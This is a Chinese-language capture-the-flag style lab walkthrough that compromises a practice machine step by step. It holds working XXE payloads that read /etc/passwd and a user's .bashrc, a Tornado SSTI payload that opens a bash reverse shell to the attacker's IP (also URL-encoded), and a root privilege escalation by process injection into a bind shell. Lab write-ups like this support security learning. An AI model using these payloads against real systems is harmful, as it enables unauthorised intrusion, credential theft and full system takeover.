kali:192.168.181.129
靶机:192.168.181.154
信息收集
首先进行ip扫描
打开网页进行查看
查看开启哪些端口
nmap -sC -sV 192.168.181.154 --min-rate=2000 -v -p-
我们可以看到有两个开启了http服务
于是我在80 端口查看源码,他给我们一个提示
说是通过有一个 GET 参数“page_no”,进行模糊测试,于是使用brupsuit进行尝试
webshell
发现数值大小,对网页有不同影响,于是打开网页进行查看
在最底下给了个提示 ,于是将这个域名加载到/etc/hosts下
对其他域名进行爆破,使用dig
dig hackers.blackhat.local @192.168.181.154
我们爆破了新的域名,于是将他添加到/etc/hosts
于是在kali的网页上进行访问
于是进行抓包分析
我发现他是一个xxe漏洞,有点像xxe实体注入
参考:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
我对其进行修改,我们要读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name></name>
<tel></tel>
<email>
&xxe;</email>
<password></password>
</root>
修改后,发现读取成功,但是好像/etc/passwd好像被替换了
我在打开.bashrc时,没有打开,但是在使用使用 PHP 包装器时,我们可以获得 base64 格式的内容
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root>
<name></name>
<tel></tel>
<email>
&xxe;</email>
<password></password>
</root>
于是进行base64解码,在最后发现了用户名密码
上文还有一个9999端口也开启http服务,且运行Tornado,于是打开进行查看
没有成功,于是我使用saket进行登录,因为在上文中只有这个用户在/home下,密码不变
由于Tornado是一个Python web的技术,我怀疑GET一个参数‘name’,我们可以传入一个参数
于是我进行简单的SSTI负载
参考
https: //book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python
说明命令可以执行,于是进行反弹
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.181.129/9001 0>&1"')}}
在kali进行监听9001端口
但是,没有成功,于是我进行url编码
%7B%25%20import%20os%20%25%7D%7B%7Bos.system(%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.181.129%2F9001%200%3E%261%22%27)%7D%7D
权限提升:
于是使用getcap,他说admin在这个目录下
/sbin/getcap -r / 2>/dev/null
为此我们必须确定根进程
于是将ID914作为进程的 PID 作为参数。执行漏洞利用后,它会在端口 5600 处创建一个绑定 shell。因此,我们可以连接到绑定 shell 并获取 root shell
cd /tmp
python2.7 inject.py 914
ss -tnlp
于是在kali进行链接
于是获得root权限